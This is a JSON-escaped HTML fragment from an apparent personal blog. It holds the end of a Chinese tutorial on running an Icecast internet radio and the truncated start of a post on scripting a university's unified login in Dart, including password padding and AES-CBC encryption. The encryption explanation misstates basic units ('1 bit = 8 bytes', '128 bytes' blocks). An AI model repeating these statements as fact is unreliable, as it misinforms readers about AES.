--\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;source-password\u0026gt;\u003c/span\u003e这里输入你想搞的密码\u003cspan class=\"nt\"\u003e\u0026lt;/source-password\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 中继密码,中继账户名 source --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;relay-password\u0026gt;\u003c/span\u003e这里输入你想搞的密码\u003cspan class=\"nt\"\u003e\u0026lt;/relay-password\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 网页管理页面界面的账户和密码 --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;admin-user\u0026gt;\u003c/span\u003eadmin\u003cspan class=\"nt\"\u003e\u0026lt;/admin-user\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;admin-password\u0026gt;\u003c/span\u003e这里输入你想搞的密码\u003cspan class=\"nt\"\u003e\u0026lt;/admin-password\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;/authentication\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 设置该软件监听哪个端口,一般无需改动 --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;listen-socket\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;port\u0026gt;\u003c/span\u003e8000\u003cspan class=\"nt\"\u003e\u0026lt;/port\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;/listen-socket\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 这里我省略了好多选项,不要直接使用这个配置文件! --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;/icecast\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e当你修改好自己的配置文件,使用这个命令启动 Icecast 软件。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo service icecast2 start\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo systemctl \u003cspan class=\"nb\"\u003eenable\u003c/span\u003e icecast2 \u003cspan class=\"c1\"\u003e# 如果你想让这玩意开机自启动的话\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e现在你打开你的服务器网站的 8000 端口的话,你应该能看到这个。我这里是开电台了,所以有东西,应该是啥都没有才对。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Icecast.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Icecast.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch2 id=\"电台推流软件三例\"\u003e电台推流软件三例\u003c/h2\u003e\n\u003cp\u003e在 Icecast 网站上,他们\u003ca class=\"link\" href=\"https://icecast.org/apps/\" target=\"_blank\" rel=\"noopener\"\n \u003e贴了一堆软件\u003c/a\u003e。我这里写三个我用过的。更多的话,可以看看\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Icecast\" target=\"_blank\" rel=\"noopener\"\n \u003eArch Linux Wiki 的这篇文章\u003c/a\u003e。\u003c/p\u003e\n\u003ch3 id=\"obs-还能推流广播\"\u003eOBS 还能推流广播?\u003c/h3\u003e\n\u003cp\u003e你没看错,OBS 也能推流到 Icecast 服务器上,不过我觉得没有那么方便了。毕竟他只是个视频直播软件啊\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e首先说点闲话,Icecast 能处理视频流,就是你们直播到 Bilibili 的那个。详情请看\u003ca class=\"link\" href=\"https://epir.at/2018/03/08/obs-icecast-streaming/\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e。不过这玩意不是官方支持,所以我不会过多描述,但是我以下的配置文件是根据这玩意改的。\u003c/p\u003e\n\u003cp\u003e打开 OBS 的设置界面,调到 输出 -\u0026gt; 录像 ,类型选择 \u0026ldquo;自定义输出 FFMpeg\u0026rdquo; 上面。然后咱这么修改:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eFFMpeg 输出类型改成\u0026quot;输出到 URL\u0026quot;,下面的 URL 改成 \u003ccode\u003eicecast://source:上面设置的推流密码@服务器ip或者域名:8000/stream\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e容器格式选择 opus(音频),下面的混流器设置填上 \u003ccode\u003econtent_type=application/ogg\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e下面的音频比特率填个合适的,比如 192kbps 之类,想起了下载 MP3 年代了吗?\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/OBS-REFRENCE.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/OBS-REFRENCE.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"OBS 设置一个例子\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eOBS 设置一个例子\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e然后点击 \u0026ldquo;开始录制\u0026rdquo;,vola,你现在开始广播了!当然,画面是传不过去了,不过调整一下声音配置,你的声音开始传播了。\u003c/p\u003e\n\u003ch3 id=\"mixxx-感觉更适合些\"\u003eMixxx 感觉更适合些\u003c/h3\u003e\n\u003cp\u003eMixxx 是一个 DJ 软件,他能混音各种各样的音乐,也能按照顺序播放音乐\u0026hellip;\u0026hellip;好吧,我对这个软件没有那么了解,只是知道这个东西可以用来广播:-P\u003c/p\u003e\n\u003cp\u003e首先,你最好有个歌库啥的,也就是说,你的电脑得有一堆歌曲文件。这玩意下载也没那么难吧,随便开个网易云,腾讯啥的,一堆可以下载。把他们放在一起,然后在软件设置里面规定好歌库位置。等待然后在音轨选项里面全选之,右键选择\u0026quot;放到自动DJ\u0026quot;。打开自动DJ界面,点击启用自动Dj按钮,好了,广播台现在能循环你的歌单了。歌单还能随机播放哦。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Main.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Main.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"Mixxx 界面概览\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eMixxx 界面概览\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e如果你想增加个麦克风的话,你可以在设置里面添加之。这个东西还能添加应用程序作为输入源呢,不过需要搞啥回环声音设备之类,我觉得很不好用,应该有更好的解决方案吧。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Microphone.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Microphone.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"设置输入设备\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e设置输入设备\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e最后,就是规定你的广播地址了。这个看截图应该更明白吧\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Broadcast.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Broadcast.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"设置广播例子\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e设置广播例子\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e好了,开启你的自动DJ功能,合适时候开下麦克风,Let\u0026rsquo;s on air!\u003c/p\u003e\n\u003ch3 id=\"ffmpeg-极简主义\"\u003eFFMpeg 极简主义\u003c/h3\u003e\n\u003cp\u003e没错,ffmpeg 也能推流 icecast 捏。不过一般都是用来转播别的广播台233,图个测试用途。看看我用来推流中国之声到服务器上面的命令。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003effmpeg -re -i \u003cspan class=\"s2\"\u003e\u0026#34;https://ngcdn001.cnr.cn/live/zgzs/index.m3u8\u0026#34;\u003c/span\u003e \u003cspan class=\"se\"\u003e\\ \u003c/span\u003e \u003cspan class=\"c1\"\u003e# 音频源头\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e -f opus -content_type application/ogg \u003cspan class=\"se\"\u003e\\ \u003c/span\u003e \u003cspan class=\"c1\"\u003e# 推流的格式和发送过去的 Content_Type\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e -ice_description \u003cspan class=\"s2\"\u003e\u0026#34;转播中国之声\u0026#34;\u003c/span\u003e -ice_name \u003cspan class=\"s2\"\u003e\u0026#34;CNR News Transfer\u0026#34;\u003c/span\u003e \u003cspan class=\"se\"\u003e\\ \u003c/span\u003e\u003cspan class=\"c1\"\u003e# 该推流的描述和名称(不填写也可以)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;icecast://source:上面设置的推流密码@服务器ip或者域名:8000/cnr-news-transfer\u0026#34;\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 推流目的地址 \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e具体想知道咋用的话,看看\u003ca class=\"link\" href=\"https://ffmpeg.org/ffmpeg-protocols.html#Icecast\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e最后说一句,本人十分不建议推流视频到 Icecast 服务器上,挺难用的。( Icecast 官方说支持 opus 和 webm,我知道最后那个是视频格式 )\u003c/p\u003e\n\u003ch2 id=\"让听众听见你的声音\"\u003e让听众听见你的声音\u003c/h2\u003e\n\u003cp\u003e实际上这块很水了,点到为止得了\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e一个途径是,让你的听众打开你的推流地址,应该可以直接播放,如果浏览器支持的话\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e或者说,你给他们推流链接,让他们拿啥播放器打开\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003ch2 id=\"最后\"\u003e最后\u003c/h2\u003e\n\u003cp\u003e电台开起来了,放啥东西合适呢?实际上我也不知道,感觉听众不喜欢听新闻\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e毕竟电台已经成为了某种怀旧的东西了,不过想想我在寒假那时候搭的电台,还是很能缓解一下某种孤独感的。我是那种倾向于向公众大喊\u0026quot;来看看我啊\u0026quot;的内向疯子:-P\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/how-to-operate-an-internet-radio.html"},{"title":"关于西电一站式服务大厅背后的那点事","time":"2022-08-31T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/Random/Coding%20to%20a%20cure%20girl.jpg\" alt=\"Featured image of post 关于西电一站式服务大厅背后的那点事\" /\u003e\u003ch1 id=\"关于如何使用西电一站式服务大厅\"\u003e关于如何使用西电一站式服务大厅\u003c/h1\u003e\n\u003cp\u003e好吧,这个假期闲得慌想用 Flutter 把电表重写了(毕竟本人能力很差,就很容易瞎想)。目前开发还是没个身影,但是我感觉,我把核心功能给写出来了,就差套个壳。我觉得,核心功能就是从学校服务器上当下来我需要的数据。根据\u003ca class=\"link\" href=\"https://github.com/BenderBlog/watermeter\" target=\"_blank\" rel=\"noopener\"\n \u003e我项目的简介\u003c/a\u003e,应该是开发完大半了。\u003c/p\u003e\n\u003cp\u003e但是呢,鉴于本人的鸽子属性,我感觉我得在我将来大概率弃坑之前,留点材料,以方便将来有比我更无聊,更疯狂的人来完成他心目中的电表。\u003c/p\u003e\n\u003ch2 id=\"关于我校一站式服务大厅\"\u003e关于我校一站式服务大厅\u003c/h2\u003e\n\u003cp\u003e我们学校的一站式服务大厅是由南京金智教育开发的,而且很多学校都用这个系统。所以,接下来的部分,感觉很多同志们都能适用。\u003c/p\u003e\n\u003cp\u003e我们学校的一站式大厅有很多功能,不过其中仅仅有很少的一部分我们能用。我感觉平常使用最多的就是:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课表\u003c/li\u003e\n\u003cli\u003e成绩查询\u003c/li\u003e\n\u003cli\u003e考试安排\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e而我们平常要使用一站式(或者其他东西,比如健康报告)的话,一般都要先登陆统一认证平台,之后才能进入一站式。而这个统一认证平台,也是金智的:-P\u003c/p\u003e\n\u003ch2 id=\"提前说明\"\u003e提前说明\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e以下使用的语言是 Dart,编写 Flutter 应用的语言。个人觉得还算好理解吧\u0026hellip;\u0026hellip;\u003c/li\u003e\n\u003cli\u003e下面步骤,会多次出现本人故意暂停跳转情况发生。因为我发现,要是自动跳转,可能 Cookie 会存不下来,要是 python 的 request 库就没有这个问题。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"如何登陆统一认证平台\"\u003e如何登陆统一认证平台\u003c/h2\u003e\n\u003ch3 id=\"工具\"\u003e工具\u003c/h3\u003e\n\u003cp\u003e根据 \u003ca class=\"link\" href=\"https://github.com/xdlinux/xidian-scripts\" target=\"_blank\" rel=\"noopener\"\n \u003exidian-script\u003c/a\u003e 姐妹计划 \u003ca class=\"link\" href=\"https://github.com/xdlinux/libxduauth\" target=\"_blank\" rel=\"noopener\"\n \u003elibxduauth\u003c/a\u003e 所说,登陆所需要的工具如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eCookie Jar。\u003c/li\u003e\n\u003cli\u003e网络传输工具,其中需要设置 \u003ccode\u003eapplication/x-www-form-urlencoded\u003c/code\u003e 来传输参数。\u003c/li\u003e\n\u003cli\u003e网页分析工具,比如大名鼎鼎的 BeautifulSoup 库。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"操作步骤\"\u003e操作步骤\u003c/h3\u003e\n\u003ch4 id=\"获取登陆网页\"\u003e获取登陆网页\u003c/h4\u003e\n\u003cp\u003e向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/login\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ids.xidian.edu.cn/authserver/login\u003c/a\u003e 发送 GET 请求,其中请求参数是:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;service\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e接下来要访问的网址\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;type\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;userNameLogin\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果正常,会返回登录网页。\u003c/p\u003e\n\u003cp\u003e将登陆网页交给网页分析工具,让他找到网页中 id 为 pwdFromId 的元素们,这里记为 form:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Dart\" data-lang=\"Dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// Import \u0026#39;package:beautiful_soup_dart/beautiful_soup.dart\u0026#39; before use.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003epage\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eBeautifulSoup\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eresponse\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003eform\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epage\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efind\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;form\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nl\"\u003eattrs:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;id\u0026#34;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;pwdFromId\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"检查是否需要验证码\"\u003e检查是否需要验证码\u003c/h4\u003e\n\u003cp\u003e向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/checkNeedCaptcha.htl\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ids.xidian.edu.cn/authserver/checkNeedCaptcha.htl\u003c/a\u003e 发送 GET 请求,请求参数是\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;username\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e填入你的学号\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;_\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"err\"\u003e目前时间戳\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e查看返回值中有没有 \t\u003ccode\u003etrue\u003c/code\u003e 。\u003c/p\u003e\n\u003cp\u003e如果需要填入验证码的话,向 \u003ca class=\"link\" href=\"http://ids.xidian.edu.cn/authserver/getCaptcha.htl\" target=\"_blank\" rel=\"noopener\"\n \u003ehttp://ids.xidian.edu.cn/authserver/getCaptcha.htl\u003c/a\u003e 获取验证码图片,请求参数是\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"err\"\u003e目前时间戳:\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"加密密码\"\u003e加密密码\u003c/h4\u003e\n\u003cp\u003e首先,我们需要填充密码。这里我们使用 PKCS7 填充方式。我的程序自己实现了,因为没看明白 Dart 里面 PKCS7 咋用的:-(:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e由于加密方式是 AES,要求分组长度是 128 bytes,根据 1 bit = 8 bytes,需要字符串长度是 16 的倍数。\u003c/li\u003e\n\u003cli\u003e先在密码字符串前面插上 xidianscriptsxdu 四遍(正好是 16 长的字符串,Dart 默认给的是随机字符串),然后将字符串转换成 int 数组(也就是把每个字符转换成对应的 ASCII 码)。\u003c/li\u003e\n\u003cli\u003e然后计算我们还需要在后面插入多少元素来满足 16 的倍数,差几个在后面插入几个。插入内容为插入元素的个数。注意,要是一个都不差,也得插入数据,来保证数据和插入值都存在。\u003c/li\u003e\n\u003cli\u003e由于接下来加密需要的是数字数组,所以不变回字符串。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e然后,从 form 里面寻找 input 标签,且 id 为 pwdEncryptSalt 的元素,这里面是加密密码的密钥(还是盐啥的)。最后,使用 AES-CBC 算法加密,然后返回字符串。\u003c/p\u003e\n\u003cp\u003e上述步骤的具体代码如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Dart\" data-lang=\"Dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// Get base64 encoded data. Which is aes encrypted [toEnc] encoded string using [key].\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// Padding part is copied from libxduauth\u0026#34;s idea.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// Import \u0026#34;package:encrypt/encrypt.dart\u0026#34; before use.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003eaesEncrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etoEnc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003edynamic\u003c/span\u003e \u003cspan class=\"n\"\u003ek\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eKey\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromUtf8\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ecrypt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eAES\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ek\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003emode:\u003c/span\u003e \u003cspan class=\"n\"\u003eAESMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecbc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// Start padding\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eblockSize\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan 